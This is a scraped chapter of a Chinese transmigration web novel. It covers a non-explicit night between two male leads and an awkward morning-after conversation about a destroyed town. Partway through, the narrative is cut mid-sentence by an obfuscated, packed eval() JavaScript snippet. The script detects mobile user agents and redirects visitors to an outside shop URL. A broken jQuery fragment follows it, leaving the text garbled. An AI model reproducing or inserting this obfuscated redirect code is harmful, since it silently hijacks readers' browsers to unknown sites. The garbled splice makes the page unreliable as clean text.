123读书网 > 都市小说 > 主角怎么这么惨?[快穿] > 18.昨夜种种
    判断在脑中落定的瞬间,谢寒声已经逼近床边。


    他单膝压上床垫,陈旧弹簧发出细微的呻吟,阴影完全笼罩下来:“我的报酬呢?”


    “啊,你的报酬。”


    单议秋轻声重复,唇角的笑意加深。


    他抬起手臂,手指轻巧地勾住谢寒声的后颈,将人拉向自己。


    距离骤然消失,额头相抵,呼吸交错,在这个昏暗的、尘埃浮动的空间里,连空气都变得黏稠。


    太近了,近到谢寒声能看清对方眼中那个被缩小的映着晦暗月光的自己,


    鎏金色的瞳孔,皮肤上未褪的暗鳞纹路,一张因异变与欲望而显得有些陌生的脸。


    “谢团长帮我躲了个大麻烦,”单议秋的声音压得很低,像羽毛搔过耳膜,气息拂过对方的下唇,“我心里太感激了。”


    他顿下半秒,更缓地开口,每个字都在精心挑选:“我该怎么感谢你呢?”


    这不是谢寒声第一次感觉自己被引诱。


    异变撕裂了他,却也强行打开了一层新的感官维度,世界时而清晰得刺目,时而蒙着疯狂的薄雾。


    他常常分不清,眼前单议秋的每一句话、每一个眼神,究竟是现实,还是自己理智边缘滋生的幻象。


    “我该怎么感谢你呢?” 单议秋又问了一遍。


    他低垂眼眸,假装躲避着谢寒声的目光,呼吸的热度却那么近,快要烫进唇齿间。


    一些染上疯狂底色的记忆碎片骤然翻涌——


    阴暗牢房里,单议秋也是这样伏在他身上,指尖若有似无地蹭过新生鳞片的边缘,带起一阵意味不明的痒意。


    索兰德那个弥漫着药味的房间,对方的手臂环过他的腰,却又在他恍惚的瞬间按在他背后未愈的伤口钉子上,眼尾洇开的薄红不知道是痛楚还是别的什么。


    更早之前,在他自己的卧室床边,单议秋坦然承受了他粗鲁的触碰,仿佛被人握着腰身,也只是件稀松平常的小事……


    答案其实早已悬在那里,像熟透的果实散发着甜腻气息,是谢寒声自己转开视线,盲目地忽略那些在血脉里叫嚣的渴望。


    谢寒声喉结滚动,鎏金眼瞳深处的光晕剧烈地波动了一下。


    他不再迟疑,放弃了那点本就摇摇欲坠的抵抗。


    “你可以……”他的声音沙哑得不像话,淹没在随之落下的动作里,“……这样感谢我。”


    话音未落,他吻了下去。


    不是试探,更像一种宣告般的掠夺,唇齿撞在一起的力道让单议秋闷哼了一声,后背陷入僵硬的床垫里。


    尘土的气息、硝烟的味道、还有彼此身上陌生而熟悉的气味,瞬间交织成一张密不透风的网。


    单议秋的双手原本抵在对方胸膛,指尖下是坚硬鳞片与滚烫肌肤的奇异触感。他犹豫一下,指尖顺着绷紧的肩线向上滑去,最终虚虚地搭在了谢寒声宽阔的肩头。


    月光从没拉严的窗帘缝隙斜切进来,照亮一隅飞舞的微尘,和床上交叠的身影。


    布料摩擦发出窸窣碎响,间或溢出被吞没半截的压抑的鼻音。


    一双手,肤色在昏暗中显得素白,搭在小麦色的坚实肩膀上,右手食指的指尖悠悠抬起,点过冰冷的金属钉帽。


    ……


    ……


    谢寒声是在沙发上醒来的。


    意识像沉在粘稠的潭底,挣扎着上浮,最先恢复的是感官,浑身骨头像被拆过一遍似的酸疼,深处又翻涌着一股陌生而充沛的精力,让他觉得自己能一拳砸穿墙壁。


    这种感觉矛盾又突兀。


    谢寒声皱着眉,试图撑起身体,粗糙的沙发面料摩擦过皮肤……


    等等。


    皮肤?


    谢寒声动作一顿,彻底清醒过来。


    盖在身上的薄被单随着起身滑落,堆叠在腰间,凉意贴上赤裸的胸膛、手臂和大腿。


    视野逐渐对焦,思绪也彻底回笼。


    当“自己什么都没穿”这个事实清晰无误地跳进脑海时,昨夜那些模糊的片段才像终于接收到信号,争先恐后地涌现出来。


    昏暗光线里交缠的呼吸,后颈被紧扣的力道,唇齿间灼热的触感,还有一截素白手指慢悠悠划过后背,点在那枚钉子顶端。


    “我该怎么感谢你呢?”单议秋在记忆中发问。


    “你可以这样感谢我。”


    谢寒声听见自己这样说。


    单议秋靠在床头笑着,半点没有抗拒的意思,于是谢寒声听从内心,把他按在床上,吻住了那双唇。


    ……现在回想起来,天塌地陷也不过如此。


    谢寒声撑着胳膊站起身,拽起被单胡乱围在腰间,心跳如擂鼓,视线仓惶地扫过房间。


    这间旅馆客房比昨晚模糊印象中更显陈旧朴素。


    他所在的区域像个小会客厅,一张磨损的绒面沙发,低矮的茶几,对面是嵌着模糊镜面的木质壁柜。往里是睡眠区,一张铺着素色床单的双人床,此刻床铺凌乱,枕头歪斜,仿佛无声诉说着昨夜并不平静的休憩。空气里有灰尘和旧木头的气味,但还算干净,只是空旷得让人心慌。


    房间里没有人。


    单议秋不在。


    这个认知让谢寒声呼吸一窒,随即是更汹涌的慌乱。


    他为什么会亲单议秋?


    他要亲就算了,单议秋怎么也肯?


    看来异变是会传染的,谢寒声意识到。


    黑暗不仅把他弄疯了,也把单议秋弄得不正常,不过说起来单议秋可能早就不正常了,不然他干嘛要把自己从监狱里捞出来……


    胡思乱想并没有带来任何积极效果,只加剧了恐慌。谢寒声强迫自己冷静,目光再次扫视周围。


    这一次,他发现长裤皱巴巴地堆在床脚,衬衫则在窗边地上,沾满了尘土和可疑的暗色污渍,领口撕裂,没办法再穿了。


    但有总比没有强,意识到自己有衣服穿,谢寒声如释重负。


    他用被单围住腰,踉踉跄跄地走到床边,快速套上裤子后又捡起那件报废的衬衫攥在手里,布料粗糙的触感勉强拉回一点真实感。


    接着,谢寒声深呼吸,汲取自己从小到大的所有经历鼓足勇气,缓慢将视线转向那面模糊的镜子。


    “……”


    镜中的影子让他呼吸一滞。


    双眼的变化是最明显的,原本深褐的虹膜边缘,此刻被一圈非人的鎏金色渗入,视线下移,脖颈侧边皮肤上,一个清晰的齿印赫然烙在那里,边缘泛着深红的淤痕,


    谢寒声眨了眨眼,镜子里那个既熟悉又陌生的怪物也眨了眨眼。


    昨晚的记忆依旧破碎,像隔着毛玻璃观看的混乱影像,某些触感却顽固地残留下来——唇瓣碾过的热度,舌尖尝到的味道,指尖陷入背肌的力度,还有……对方落在他颈侧那个带着痛感的吻。


    如果说截至此刻,谢寒声还对昨夜抱有幻想的话,那么如今镜子中的影像就是准确无误地告诉他,他的所有妄想都是现实。


    不是梦。


    谢寒声僵硬地站在原地,感觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236954|197597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    血液冲上耳膜,心跳快得发疼。一些连贯的画面终于冲破阻碍。


    他把人压进床垫,月光切割出对方睫毛的阴影,那句带着气音的感谢,以及之后漫长而失控的纠缠……


    他真的亲了单议秋。


    脚步声就在这时从门外走廊传来,由远及近,停在了门口。


    钥匙转动门锁的轻响传进房间。


    听见声音的刹那,谢寒声全身肌肉瞬间绷紧,夺路而逃的冲动被他死死压住,整个人如临大敌。


    门开了。


    单议秋走了进来。


    不同于谢寒声的惊慌失措,他穿戴整齐,神色从容,墨蓝色的长裤搭配白色衬衫,每一粒扣子都系好,显得端正又体面。他提着一个简单的纸袋,反手关门的同时,纸袋被他放在门边的矮柜上,食物的味道溢散而出。


    他没有费心寻找房间里的另一个人,直到转身往里走,视线无意识地扫过,谢寒声才闯入他的视野中心。


    “醒了?”


    谢寒声喉咙发紧,从鼻腔里挤出一个短促的:“……嗯。”


    单议秋走到小茶几旁,拉开一把椅子坐下,从纸袋里拿出两杯还冒着热气的便携咖啡,又将几个油纸包裹的三明治放在桌上。


    “用别人的名字定了三天房间,”他一边拆开一杯咖啡的封口,一边嘱咐,“你出门的时候自己注意点,别被认出来。”


    说完,他抬起眼,目光停在谢寒声还攥着破衬衫的手上,又往上滑,流连过颈间那个鲜明的痕迹,全程眼神平静,好像谢寒声身上的痕迹不代表任何事。


    好像昨晚没有发生任何事。


    面对这样的表现,谢寒声僵在原地,不知道如何反应。


    对方太过从容,太过事不关己,这种巨大的反差反而像一盆冰水,浇得他混乱的头脑暂时冷却,转而涌上一股难以言喻的难堪。


    他咬着牙,走到茶几对面僵硬坐下,赤裸的上身暴露在晨光与对方平静的视线下,那些鳞片和痕迹无处遁形。


    单议秋好像没察觉到谢寒声的僵硬,将一杯咖啡推到他面前,又从随身携带的皮质文件袋里抽出几沓装订好的纸张,丢在茶几上。


    “采石镇已经彻底废了,异火烧得很干净,连那个阵法都没留下多少痕迹。”


    单议秋啜了一口咖啡,继续道:“圣庭总部收到消息,初步判断为异常能量爆发事故,处理小组最快一周内会到。我让手下趁乱先去看过,现场没找到有价值的东西,也没发现那个小女孩的踪迹——她要么被提前转移了,要么就在昨晚的混乱里消失了。”


    他顿了顿,指尖点了点那叠资料:“这些是这几天从不同渠道汇总来的信息,关于附近区域的异常报告,以及……一些可能和那个阵法有关的古籍记载碎片。你最好看看。”


    跟随他的指示,谢寒声的视线落在纸页上,字迹密密麻麻,扭曲着拧成一团,让人头脑发昏,视线边缘浮现出单议秋那张毫无破绽的脸。


    昨夜那些炽热的触碰,和眼前这个冷淡从容的身影交织在一起,仿佛两段截然不同的胶片被强行叠印。


    一边是昏暗房间里失控的喘息与汗湿的指尖,另一边是晨光下公事公办的平淡语调,看似泾渭分明,实则只会引发更深刻的混乱。


    谢寒声拿起最上面一页纸,冰凉的纸张触感让他指尖微颤。


    冷静。冷静。他从心里告诉自己。现在有更重要的事要做。


    现在不是讨论昨晚的时候。


    他翻开了古籍的第一页,阵法的轮廓刺进眼中。